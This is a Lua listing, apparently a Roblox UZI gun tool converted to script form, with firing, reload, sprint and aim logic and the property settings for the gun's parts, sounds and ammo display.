- if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
- break
- end
- end
- Can_Shoot = true
- elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
- Tool.Handle.Click:Play()
- end
- end)
- Mouse.Button1Up:connect(function()
- Mouse_Held = false
- end)
- Mouse.KeyDown:connect(function(Key)
- if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
- if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
- return
- end
- Can_Shoot = false
- Reloading = true
- local TextLabel = Gui.Frame.AmmoDisplay
- Delay(0, function()
- CanUpdateGui = false
- TextLabel.Text = "Reloading."
- wait(Settings.ReloadTime/3)
- if TextLabel then
- TextLabel.Text = "Reloading.."
- end
- wait(Settings.ReloadTime/3)
- if TextLabel then
- TextLabel.Text = "Reloading..."
- end
- end)
- if Tool.Handle:FindFirstChild("Reload") then
- Tool.Handle.Reload:Play()
- end
- Mouse.Icon = Settings.Icons.Reload
- wait(Settings.ReloadTime)
- Mouse.Icon = Settings.Icons.Idle
- CanUpdateGui = true
- local m = Settings.Ammo
- if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
- m = m + 1
- end
- if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
- Ammo.Value = Ammo.Value + StoredAmmo.Value
- StoredAmmo.Value = 0
- else
- StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
- Ammo.Value = m
- end
- Can_Shoot = true
- Reloading = false
- elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
- Sprinting = true
- Character.Humanoid.WalkSpeed = Settings.SprintSpeed
- Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
- end
- end)
- Mouse.KeyUp:connect(function(Key)
- if Key:upper() == Settings.SprintKey:upper() and Sprinting then
- Sprinting = false
- Character.Humanoid.WalkSpeed = 16
- Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- end
- end)
- Mouse.Button2Down:connect(function()
- if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
- Aiming = true
- Mouse.Icon = Settings.Icons.Aim
- if Settings.AimAnim.Enabled then
- Right_Weld.C1 = CFrame.new()
- Right_Weld.C0 = CFrame.new()
- Delay(0, function()
- Tween_C0(Right_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Right_Weld.C0, Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame))
- end)
- Delay(0, function()
- Tween_C1(Left_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Left_Weld.C1, Settings.LeftAimPos)
- end)
- Delay(0, function()
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- local Cam_Dif, T_F = 70 - Settings.ChangeFOV[2], Settings.AimAnim.Time * Settings.AimAnim.Frames
- for i = 1, T_F do
- local FOV = 70 - Cam_Dif/T_F * i
- Camera.FieldOfView = FOV
- wait(Settings.AimAnim.Time/Settings.AimAnim.Frames)
- if not Aiming then
- return
- end
- end
- Camera.FieldOfView = Settings.ChangeFOV[2]
- end
- end)
- else
- Right_Weld.C1 = CFrame.new()
- Right_Weld.C0 = CFrame.new()
- Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
- Left_Weld.C1 = Settings.LeftAimPos
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = Settings.ChangeFOV[2]
- end
- end
- Tool.GripPos = Orig_Grip + Settings.AimGripOffset
- Settings.Spread = Settings.Spread - Settings.SpreadReduction
- end
- end)
- Mouse.Button2Up:connect(function()
- if Aiming then
- Mouse.Icon = Settings.Icons.Idle
- Tool.GripPos = Orig_Grip
- if Settings.AimAnim.Enabled then
- Delay(0, function()
- Tween_C0(Right_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Right_Weld.C0, CFrame.new(0, -1.5, 0))
- end)
- Delay(0, function()
- Tween_C1(Left_Weld, Settings.AimAnim.Frames, Settings.AimAnim.Time, Left_Weld.C1, Settings.LeftPos)
- end)
- else
- Right_Weld.C1 = Settings.RightPos
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- Left_Weld.C1 = Settings.LeftPos
- end
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- end
- Settings.Spread = Settings.Spread + Settings.SpreadReduction
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- wait(0.25)
- Aiming = false
- end
- end)
- wait()
- Camera.Changed:connect(function()
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
- Mouse.TargetFilter = workspace
- Character.Torso.Neck.C1 = CFrame.new()
- Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
- end
- end)
- Mouse.Idle:connect(function()
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
- Mouse.TargetFilter = workspace
- Character.Torso.Neck.C1 = CFrame.new()
- Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
- end
- end)
- while wait() and Equipped do
- if Sprinting then
- Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
- Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
- elseif not Aiming then
- Left_Weld.C0 = CFrame.new(0, -1.5, 0)
- end
- if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
- Mouse.TargetFilter = nil
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- end
- end
- end)
- local Arms_Made
- local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
- Tool.Equipped:connect(function(Mouse)
- if Character and not Arms_Made then
- Arms_Made = true
- local Torso = Character.Torso
- Torso["Right Shoulder"].Part1 = nil
- Left_Weld = Instance.new("Weld", Torso)
- Left_Weld.Name = "Left_Weld"
- Left_Weld.Part0 = Character.Head
- Left_Weld.C0 = CFrame.new(0, -1.5, 0)
- if not Settings.OneHanded then
- Torso["Left Shoulder"].Part1 = nil
- Left_Weld.Part1 = Character["Left Arm"]
- end
- Right_Weld = Instance.new("Weld", Torso)
- Right_Weld.Name = "Right_Weld"
- Right_Weld.Part0 = Character.Head
- Right_Weld.Part1 = Character["Right Arm"]
- Right_Weld.C0 = CFrame.new(0, -1.5, 0)
- Left_Weld.C1 = Settings.LeftPos
- Right_Weld.C1 = Settings.RightPos
- end
- if Settings.FakeArms and not Fake_Arm_Right then
- Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
- Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
- Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
- local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
- for i = 1, 2 do
- local w = Instance.new("Weld", fakeArms[i])
- w.Part0 = Character[fakeArms[i].Name]
- w.Part1 = fakeArms[i]
- fakeArms[i].Transparency = Settings.FakeArmTransparency
- end
- Fake_Arm_Model = Instance.new("Model", Camera)
- Fake_Arm_Right.Parent = Fake_Arm_Model
- if not Settings.OneHanded then
- Fake_Arm_Left.Parent = Fake_Arm_Model
- end
- Fake_Arm_Model.Name = "FakeArms"
- if Settings.CharacterMeshes then
- for i, v in pairs(Character:GetChildren()) do
- if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
- v:Clone().Parent = Fake_Arm_Model
- end
- end
- end
- if Character:FindFirstChild("Shirt") then
- Instance.new("Humanoid", Fake_Arm_Model)
- Character.Shirt:Clone().Parent = Fake_Arm_Model
- else
- local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
- Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
- local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
- Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
- end
- end
- end)
- Tool.Unequipped:connect(function()
- Equipped = false
- Tool.GripPos = Orig_Grip
- Aiming = false
- Settings.Spread = Orig_Spread
- if Settings.ChangeFOV[1] then
- Camera.FieldOfView = 70
- end
- if Gui then
- Gui:Destroy()
- Gui = nil
- end
- for i, v in pairs(Tool.Handle:GetChildren()) do
- if v:IsA("Sound") then
- v:Stop()
- end
- end
- if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
- Fake_Arm_Model:Destroy()
- Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
- end
- if Character and Left_Weld and Right_Weld then
- Arms_Made = false
- local Torso = Character.Torso
- Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
- Left_Weld:Destroy()
- Right_Weld:Destroy()
- end
- Sprinting = false
- Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- Character.Humanoid.WalkSpeed = 16
- end)
- end))
- NumberValue2.Name = "Ammo"
- NumberValue2.Parent = LocalScript1
- NumberValue2.Value = 30
- NumberValue3.Name = "StoredAmmo"
- NumberValue3.Parent = LocalScript1
- NumberValue3.Value = 1000
- Smoke4.Parent = LocalScript1
- Smoke4.Size = 0.25
- Smoke4.Color = Color3.new(0.372549, 0.372549, 0.372549)
- Smoke4.Enabled = false
- Smoke4.Opacity = 0.10000000149012
- Smoke4.RiseVelocity = 10
- Smoke4.Color = Color3.new(0.372549, 0.372549, 0.372549)
- Smoke5.Name = "Smoke1"
- Smoke5.Parent = LocalScript1
- Smoke5.Size = 0.10000000149012
- Smoke5.Color = Color3.new(1, 0.6, 0.2)
- Smoke5.Enabled = false
- Smoke5.Opacity = 0.40000000596046
- Smoke5.RiseVelocity = 3
- Smoke5.Color = Color3.new(1, 0.6, 0.2)
- ScreenGui6.Name = "Gui"
- ScreenGui6.Parent = LocalScript1
- Frame7.Parent = ScreenGui6
- Frame7.Transparency = 0.5
- Frame7.Size = UDim2.new(0, 120, 0, 35)
- Frame7.Position = UDim2.new(1, -150, 1, -44)
- Frame7.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame7.BackgroundTransparency = 0.5
- Frame7.BorderSizePixel = 3
- TextLabel8.Name = "AmmoDisplay"
- TextLabel8.Parent = Frame7
- TextLabel8.Transparency = 1
- TextLabel8.Size = UDim2.new(1, 0, 1, 0)
- TextLabel8.Text = ""
- TextLabel8.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel8.BackgroundTransparency = 1
- TextLabel8.Font = Enum.Font.SourceSansBold
- TextLabel8.FontSize = Enum.FontSize.Size24
- TextLabel8.TextColor3 = Color3.new(0, 0, 0)
- TextLabel8.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel8.TextStrokeTransparency = 0.5
- TextLabel8.TextXAlignment = Enum.TextXAlignment.Right
- Frame9.Parent = ScreenGui6
- Frame9.Transparency = 0.5
- Frame9.Size = UDim2.new(0, 126, 0, 10)
- Frame9.Position = UDim2.new(1, -153, 1, -62)
- Frame9.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame9.BackgroundTransparency = 0.5
- Frame9.BorderSizePixel = 3
- TextLabel10.Name = "Caliber"
- TextLabel10.Parent = Frame9
- TextLabel10.Transparency = 1
- TextLabel10.Size = UDim2.new(1, 0, 1, 0)
- TextLabel10.Text = "Made by 1ndrew"
- TextLabel10.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel10.BackgroundTransparency = 1
- TextLabel10.Font = Enum.Font.SourceSansBold
- TextLabel10.FontSize = Enum.FontSize.Size12
- TextLabel10.TextColor3 = Color3.new(0, 0, 0)
- TextLabel10.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel10.TextStrokeTransparency = 0.5
- TextLabel10.TextXAlignment = Enum.TextXAlignment.Right
- Frame11.Parent = ScreenGui6
- Frame11.Transparency = 0.5
- Frame11.Size = UDim2.new(0, 126, 0, 40)
- Frame11.Position = UDim2.new(1, -153, 1, -109)
- Frame11.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- Frame11.BackgroundTransparency = 0.5
- Frame11.BorderSizePixel = 3
- TextLabel12.Name = "Accessories"
- TextLabel12.Parent = Frame11
- TextLabel12.Transparency = 1
- TextLabel12.Size = UDim2.new(1, 0, 1, 0)
- TextLabel12.Text = "UZI"
- TextLabel12.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel12.BackgroundTransparency = 1
- TextLabel12.Font = Enum.Font.SourceSansBold
- TextLabel12.FontSize = Enum.FontSize.Size14
- TextLabel12.TextColor3 = Color3.new(0, 0, 0)
- TextLabel12.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
- TextLabel12.TextStrokeTransparency = 0.5
- TextLabel12.TextXAlignment = Enum.TextXAlignment.Right
- Part13.Name = "A1"
- Part13.Parent = Tool0
- Part13.Material = Enum.Material.Metal
- Part13.Rotation = Vector3.new(-90, 0, 90)
- Part13.Anchored = true
- Part13.FormFactor = Enum.FormFactor.Custom
- Part13.Size = Vector3.new(0.200000003, 0.333333194, 0.200000003)
- Part13.CFrame = CFrame.new(144.445755, 3.96316195, 144.39093, 0, -1.00000012, -4.47034836e-08, 0, -4.47034836e-08, 1.00000012, -1, 0, -0)
- Part13.BottomSurface = Enum.SurfaceType.Smooth
- Part13.TopSurface = Enum.SurfaceType.Smooth
- Part13.Position = Vector3.new(144.445755, 3.96316195, 144.39093)
- Part13.Orientation = Vector3.new(-90, 90, 0)
- BlockMesh14.Parent = Part13
- BlockMesh14.Scale = Vector3.new(0.333333164, 1, 0.333333343)
- BlockMesh14.Scale = Vector3.new(0.333333164, 1, 0.333333343)
- Part15.Name = "A2"
- Part15.Parent = Tool0
- Part15.Material = Enum.Material.Metal
- Part15.Rotation = Vector3.new(-90, 0, 90)
- Part15.Anchored = true
- Part15.FormFactor = Enum.FormFactor.Custom
- Part15.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part15.CFrame = CFrame.new(144.512421, 3.99983001, 144.39093, 0, -1.00000012, -4.47034836e-08, 0, -4.47034836e-08, 1.00000012, -1, 0, -0)
- Part15.BottomSurface = Enum.SurfaceType.Smooth
- Part15.TopSurface = Enum.SurfaceType.Smooth
- Part15.Position = Vector3.new(144.512421, 3.99983001, 144.39093)
- Part15.Orientation = Vector3.new(-90, 90, 0)
- BlockMesh16.Parent = Part15
- BlockMesh16.Scale = Vector3.new(0.333333164, 0.333332688, 0.300000012)
- BlockMesh16.Scale = Vector3.new(0.333333164, 0.333332688, 0.300000012)
- Part17.Name = "A3"
- Part17.Parent = Tool0
- Part17.Material = Enum.Material.Metal
- Part17.Rotation = Vector3.new(45.0099983, 0, 89.9899979)
- Part17.Anchored = true
- Part17.FormFactor = Enum.FormFactor.Custom
- Part17.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part17.CFrame = CFrame.new(144.512421, 4.01983023, 144.417603, 0.000121635676, -1, 3.26611735e-05, 0.706995547, 6.28973139e-05, -0.707217932, 0.707217932, 0.000109106302, 0.706995547)
- Part17.BottomSurface = Enum.SurfaceType.Smooth
- Part17.TopSurface = Enum.SurfaceType.Smooth
- Part17.Position = Vector3.new(144.512421, 4.01983023, 144.417603)
- Part17.Orientation = Vector3.new(45.0099983, 0, 89.9899979)
- BlockMesh18.Parent = Part17
- BlockMesh18.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
- BlockMesh18.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
- Part19.Name = "A4"
- Part19.Parent = Tool0
- Part19.Material = Enum.Material.Metal
- Part19.Rotation = Vector3.new(0.00999999978, 0.00999999978, 90)
- Part19.Anchored = true
- Part19.FormFactor = Enum.FormFactor.Custom
- Part19.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part19.CFrame = CFrame.new(144.512436, 4.04811382, 144.431747, 5.03872361e-05, -1, 0.000121629339, 1, 5.0371953e-05, -0.0001257658, 0.0001257658, 0.00012163569, 1)
- Part19.BottomSurface = Enum.SurfaceType.Smooth
- Part19.TopSurface = Enum.SurfaceType.Smooth
- Part19.Position = Vector3.new(144.512436, 4.04811382, 144.431747)
- Part19.Orientation = Vector3.new(0.00999999978, 0.00999999978, 90)
- BlockMesh20.Parent = Part19
- BlockMesh20.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
- BlockMesh20.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
- Part21.Name = "A5"
- Part21.Parent = Tool0
- Part21.Material = Enum.Material.Metal
- Part21.Rotation = Vector3.new(135.009995, -0.00999999978, 90)
- Part21.Anchored = true
- Part21.FormFactor = Enum.FormFactor.Custom
- Part21.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part21.CFrame = CFrame.new(144.512421, 4.0198288, 144.364273, 3.26688423e-05, -1, -0.000121633653, -0.707173347, 6.28973139e-05, -0.70704025, 0.70704025, 0.000109106302, -0.707173347)
- Part21.BottomSurface = Enum.SurfaceType.Smooth
- Part21.TopSurface = Enum.SurfaceType.Smooth
- Part21.Position = Vector3.new(144.512421, 4.0198288, 144.364273)
- Part21.Orientation = Vector3.new(44.9899979, -179.98999, -89.9899979)
- BlockMesh22.Parent = Part21
- BlockMesh22.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
- BlockMesh22.Scale = Vector3.new(0.21999979, 0.333332688, 0.099999994)
- Part23.Name = "A6"
- Part23.Parent = Tool0
- Part23.Material = Enum.Material.Metal
- Part23.Rotation = Vector3.new(-179.98999, -0.00999999978, 90)
- Part23.Anchored = true
- Part23.FormFactor = Enum.FormFactor.Custom
- Part23.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part23.CFrame = CFrame.new(144.512421, 4.04811382, 144.350128, -5.03345073e-05, -1.00000012, -0.000121683712, -1.00000024, 5.03659248e-05, 0.0001257658, -0.000125557184, 0.000121548772, -1.00000024)
- Part23.BottomSurface = Enum.SurfaceType.Smooth
- Part23.TopSurface = Enum.SurfaceType.Smooth
- Part23.Position = Vector3.new(144.512421, 4.04811382, 144.350128)
- Part23.Orientation = Vector3.new(-0.00999999978, -179.98999, -90)
- BlockMesh24.Parent = Part23
- BlockMesh24.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
- BlockMesh24.Scale = Vector3.new(0.199999809, 0.333332688, 0.099999994)
- Part25.Name = "B1"
- Part25.Parent = Tool0
- Part25.Material = Enum.Material.Metal
- Part25.Rotation = Vector3.new(-90, 0, 90)
- Part25.Anchored = true
- Part25.FormFactor = Enum.FormFactor.Custom
- Part25.Size = Vector3.new(0.200000003, 0.233333394, 0.200000003)
- Part25.CFrame = CFrame.new(143.969604, 3.896559, 144.437607, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part25.BottomSurface = Enum.SurfaceType.Smooth
- Part25.TopSurface = Enum.SurfaceType.Smooth
- Part25.Position = Vector3.new(143.969604, 3.896559, 144.437607)
- Part25.Orientation = Vector3.new(-90, 90, 0)
- BlockMesh26.Parent = Part25
- BlockMesh26.Scale = Vector3.new(0.533333302, 1, 0.799999893)
- BlockMesh26.Scale = Vector3.new(0.533333302, 1, 0.799999893)
- Part27.Name = "SmokePart"
- Part27.Parent = Tool0
- Part27.Material = Enum.Material.Metal
- Part27.BrickColor = BrickColor.new("Bright orange")
- Part27.Transparency = 1
- Part27.Rotation = Vector3.new(-90, 0, -90)
- Part27.Anchored = true
- Part27.FormFactor = Enum.FormFactor.Custom
- Part27.Size = Vector3.new(0.200000003, 0.500000119, 0.233333305)
- Part27.CFrame = CFrame.new(145.96965, 3.83471799, 144.39093, 0, 1.00000083, 1.49011612e-08, 0, -1.49011612e-08, 1.00000083, 1, 0, 0)
- Part27.BottomSurface = Enum.SurfaceType.Smooth
- Part27.TopSurface = Enum.SurfaceType.Smooth
- Part27.Color = Color3.new(0.854902, 0.521569, 0.254902)
- Part27.Position = Vector3.new(145.96965, 3.83471799, 144.39093)
- Part27.Orientation = Vector3.new(-90, -90, 0)
- Part27.Color = Color3.new(0.854902, 0.521569, 0.254902)
- SpecialMesh28.Parent = Part27
- SpecialMesh28.Scale = Vector3.new(1.99999976, 2, 2)
- SpecialMesh28.MeshType = Enum.MeshType.Sphere
- SpecialMesh28.Scale = Vector3.new(1.99999976, 2, 2)
- Smoke29.Parent = Part27
- Smoke29.Color = Color3.new(0.2, 0.2, 0.2)
- Smoke29.Enabled = false
- Smoke29.RiseVelocity = 2
- Smoke29.Color = Color3.new(0.2, 0.2, 0.2)
- Part30.Name = "hello"
- Part30.Parent = Tool0
- Part30.Material = Enum.Material.Metal
- Part30.BrickColor = BrickColor.new("Dark stone grey")
- Part30.Rotation = Vector3.new(0, -90, 0)
- Part30.Anchored = true
- Part30.FormFactor = Enum.FormFactor.Custom
- Part30.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part30.CFrame = CFrame.new(144.086899, 3.66545701, 144.39093, 0, 6.29127026e-05, -1, 0, 1, 6.29127026e-05, 1, 0, -0)
- Part30.BottomSurface = Enum.SurfaceType.Smooth
- Part30.TopSurface = Enum.SurfaceType.Smooth
- Part30.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part30.Position = Vector3.new(144.086899, 3.66545701, 144.39093)
- Part30.Orientation = Vector3.new(0, -90, 0)
- Part30.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh31.Parent = Part30
- BlockMesh31.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
- BlockMesh31.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
- Sound32.Name = "M2"
- Sound32.Parent = Part30
- Sound32.SoundId = "http://roblox.com/asset/?id=10209636"
- Sound32.Volume = 1
- Sound32.PlayOnRemove = true
- Sound33.Name = "M3"
- Sound33.Parent = Part30
- Sound33.Pitch = 2
- Sound33.SoundId = "http://roblox.com/asset/?id=10209834"
- Sound33.Volume = 1
- Sound33.PlayOnRemove = true
- Sound34.Name = "M4"
- Sound34.Parent = Part30
- Sound34.Pitch = 3
- Sound34.SoundId = "http://roblox.com/asset/?id=10209834"
- Sound34.Volume = 1
- Sound34.PlayOnRemove = true
- Sound35.Name = "M1"
- Sound35.Parent = Part30
- Sound35.Pitch = 0.75
- Sound35.SoundId = "http://roblox.com/asset/?id=10209834"
- Sound35.Volume = 1
- Sound35.PlayOnRemove = true
- Sound36.Name = "Fire"
- Sound36.Parent = Part30
- Sound36.Pitch = 2
- Sound36.SoundId = "http://www.roblox.com/asset/?id=2692477"
- Sound36.Volume = 1
- Part37.Name = "Mag"
- Part37.Parent = Tool0
- Part37.Material = Enum.Material.Metal
- Part37.BrickColor = BrickColor.new("Dark stone grey")
- Part37.Rotation = Vector3.new(90, 0, -90)
- Part37.Anchored = true
- Part37.FormFactor = Enum.FormFactor.Symmetric
- Part37.Size = Vector3.new(1, 1, 1)
- Part37.CFrame = CFrame.new(143.899948, 2.94755912, 144.387604, 0, 1.00000036, -6.29723072e-05, 0, -6.29723072e-05, -1.00000036, -1, 0, 0)
- Part37.BottomSurface = Enum.SurfaceType.Smooth
- Part37.TopSurface = Enum.SurfaceType.Smooth
- Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part37.Position = Vector3.new(143.899948, 2.94755912, 144.387604)
- Part37.Orientation = Vector3.new(90, 90, 0)
- Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Decal38.Parent = Part37
- Decal38.Texture = "http://www.roblox.com/asset/?id=47760372"
- BlockMesh39.Parent = Part37
- BlockMesh39.Scale = Vector3.new(0.119999997, 0.166666672, 0.833333313)
- BlockMesh39.Scale = Vector3.new(0.119999997, 0.166666672, 0.833333313)
- Part40.Name = "Mag2"
- Part40.Parent = Tool0
- Part40.Material = Enum.Material.Metal
- Part40.BrickColor = BrickColor.new("Dark stone grey")
- Part40.Rotation = Vector3.new(0, 90, 0)
- Part40.Anchored = true
- Part40.FormFactor = Enum.FormFactor.Custom
- Part40.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part40.CFrame = CFrame.new(143.90387, 2.525805, 144.387604, 0, 0.000188827515, 1, 0, 1, -0.000188827515, -1, 0, 0)
- Part40.BottomSurface = Enum.SurfaceType.Smooth
- Part40.TopSurface = Enum.SurfaceType.Smooth
- Part40.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part40.Position = Vector3.new(143.90387, 2.525805, 144.387604)
- Part40.Orientation = Vector3.new(0.00999999978, 90, 0)
- Part40.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh41.Parent = Part40
- BlockMesh41.Scale = Vector3.new(0.666666687, 0.0666665584, 0.900000572)
- BlockMesh41.Scale = Vector3.new(0.666666687, 0.0666665584, 0.900000572)
- Part42.Parent = Tool0
- Part42.Material = Enum.Material.Metal
- Part42.BrickColor = BrickColor.new("Dark stone grey")
- Part42.Rotation = Vector3.new(90, 0, -180)
- Part42.Anchored = true
- Part42.FormFactor = Enum.FormFactor.Custom
- Part42.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part42.CFrame = CFrame.new(143.302933, 4.00991011, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part42.BottomSurface = Enum.SurfaceType.Smooth
- Part42.TopSurface = Enum.SurfaceType.Smooth
- Part42.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part42.Position = Vector3.new(143.302933, 4.00991011, 144.444275)
- Part42.Orientation = Vector3.new(90, 180, 0)
- Part42.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh43.Parent = Part42
- BlockMesh43.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
- BlockMesh43.Scale = Vector3.new(0.140000001, 0.0666662827, 0.200000018)
- Part44.Parent = Tool0
- Part44.Material = Enum.Material.Metal
- Part44.BrickColor = BrickColor.new("Dark stone grey")
- Part44.Rotation = Vector3.new(90, 0, -180)
- Part44.Anchored = true
- Part44.FormFactor = Enum.FormFactor.Custom
- Part44.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part44.CFrame = CFrame.new(143.206268, 4.00991011, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part44.BottomSurface = Enum.SurfaceType.Smooth
- Part44.TopSurface = Enum.SurfaceType.Smooth
- Part44.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part44.Position = Vector3.new(143.206268, 4.00991011, 144.337601)
- Part44.Orientation = Vector3.new(90, 180, 0)
- Part44.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh45.Parent = Part44
- BlockMesh45.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
- BlockMesh45.Scale = Vector3.new(0.831999838, 0.0666662827, 0.200000033)
- Part46.Parent = Tool0
- Part46.Material = Enum.Material.Metal
- Part46.BrickColor = BrickColor.new("Dark stone grey")
- Part46.Rotation = Vector3.new(90, 0, -180)
- Part46.Anchored = true
- Part46.FormFactor = Enum.FormFactor.Custom
- Part46.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part46.CFrame = CFrame.new(143.219604, 4.02658176, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part46.BottomSurface = Enum.SurfaceType.Smooth
- Part46.TopSurface = Enum.SurfaceType.Smooth
- Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part46.Position = Vector3.new(143.219604, 4.02658176, 144.457596)
- Part46.Orientation = Vector3.new(90, 180, 0)
- Part46.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh47.Parent = Part46
- CylinderMesh47.Scale = Vector3.new(30, 0.0666662827, 1)
- CylinderMesh47.Scale = Vector3.new(30, 0.0666662827, 1)
- Part48.Parent = Tool0
- Part48.Material = Enum.Material.Metal
- Part48.BrickColor = BrickColor.new("Black")
- Part48.Rotation = Vector3.new(-90, -90, 0)
- Part48.Anchored = true
- Part48.FormFactor = Enum.FormFactor.Custom
- Part48.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part48.CFrame = CFrame.new(144.409607, 3.79657793, 144.500931, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part48.BottomSurface = Enum.SurfaceType.Smooth
- Part48.TopSurface = Enum.SurfaceType.Smooth
- Part48.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part48.Position = Vector3.new(144.409607, 3.79657793, 144.500931)
- Part48.Orientation = Vector3.new(0, -90, 90)
- Part48.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh49.Parent = Part48
- BlockMesh49.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
